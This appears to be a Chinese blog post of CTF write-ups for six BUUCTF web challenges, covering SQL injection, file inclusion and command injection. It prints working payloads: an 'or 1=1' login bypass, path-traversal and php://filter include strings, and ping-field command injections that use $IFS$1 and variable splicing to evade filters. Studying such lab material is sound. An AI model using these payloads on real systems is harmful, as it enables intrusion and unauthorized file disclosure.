buu Web题库(1)

695次阅读
没有评论

buu Web 题库 (1)


[极客大挑战 2019]EasySQL

很简单的 sql 题,用户名随便写,密码先尝试一下单引号闭合 1',结果如下
buu Web 题库 (1)

ok, 那明白了,可以直接输入:1' or 1=1 #, 也就是万能密码试试。结果如下:
buu Web 题库 (1)

结束!

[极客大挑战 2019]Havefun

页面上啥也没有,先看看源码,在源码上找到如下代码:
buu Web 题库 (1)

很明显了,get 方式传入参数为 dog。

也就是 http://d38dc0d1-a4b8-4df9-a9e6-3ca8697bc23e.node4.buuoj.cn:81/?cat=dog
buu Web 题库 (1)

结束!

[HCTF 2018]WarmUp

同样的,页面上就只有一张滑稽图,看看源码吧,提示我们去 source.php.
进入后,开始代码审计。
buu Web 题库 (1)

里面有个 hint.php, 先去看看,告诉我们
flag not here, and flag in ffffllllaaaagggg
ok,先读代码。

具体来看

<?php
    highlight_file(__FILE__);
    class emmm
    {public static function checkFile(&$page)
        {$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            // 判断 page 参数是否存在,且是否为字符串
            if (in_array($page, $whitelist)) {return true;}
            // 在白名单中匹配 page 参数
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            // 先看 mb_strpos(str,find_str,offset,encoding): 返回 str 中从 offset(默认为 0) 开始第一次出现 find_str 的位置。此处就是返回第一个? 的位置
            // 再看 mb_strpos()。此处就是截取并返回从字符串开头到第一个? 出现位置的字符串
            if (in_array($_page, $whitelist)) {return true;}

            $_page = urldecode($page);
            // 将参数进行 url 解码,? 解码后仍为?
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {return true;}
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
        // 通过参数名为 file 的参数传入,且为字符串,并且 checkFile 函数返回值为 true
    ) {include $_REQUEST['file'];
        exit;
    } else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

通过以上代码的分析,很明显,我们需要让这几个 if 语句全部返回为 true。
因此我们的 payload 为 ?file=source.php?../ffffllllaaaagggg

尝试过后失败,猜测是不是目录出了问题,而文件名提示我们需要先进行四次../
于是最终 payload 为 ?file=source.php?../../../../../ffffllllaaaagggg

buu Web 题库 (1)

结束!

[ACTF2020 新生赛]Include

打开环境,顺着它点击,发现啥也没有,而源码里也啥也看不到。
此时我们看到 url 为 xxxxx?file=flag.php

猜测一下是不是 php 伪协议,一个简单的文件包含漏洞
试一下,payload 为 ?file=php://filter/convert.base64-encode/resource=flag.php

将得到的 base64 进行解码

buu Web 题库 (1)

结束!

[ACTF2020 新生赛]Exec

只有一个 ping, 试试 127.0.0.1;ls
buu Web 题库 (1)

很显然,连最简单的分号都没有过滤,那么直接找 flag 所在目录吧,最后的命令是 127.0.0.1;cd ../../../;cat flag
buu Web 题库 (1)

结束!

[GXYCTF2019]Ping Ping Ping

上来只有一个 /?ip=, 很显然,随便传个参数,构造 payload 为 /?ip=127.0.0.1;ls
buu Web 题库 (1)

ok, 分号没过滤,直接 ip=127.0.0.1;cat flag
显示过滤了空格,这里我们可以用 $IFS$1, 来代替空格也就是 ip=127.0.0.1;cat$IFS$1flag, 显示过滤了 flag,那我们就先看 index.php, 找到了源码。
buu Web 题库 (1)

分析源码,过滤了好多,最重要的就是 flag 给过滤了,这里可以变量替换传入,具体如下:
ip=127.0.0.1;a=g;b=fla;cat$IFS$1$b$a.php

这里的变量拼接不唯一,但是好多拼接方式都不可以,不行的话,可以换角度多方面试试,例如 ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

ok, 成功进入,看源码拿 flag。
buu Web 题库 (1)

最后顺便说一下用来代替空格的 $IFS$1:
$IFS 在 Linux 下表示为空格,$1 是当前系统 shell 进程第 1 个参数持有者,始终为空字符串,$ 后可以接任意数字

结束!

正文完
 1
haxo
版权声明:本站原创文章,由 haxo 2023-08-03发表,共计2360字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
最新评论
emoji emoji 写得好啊
评论(没有评论)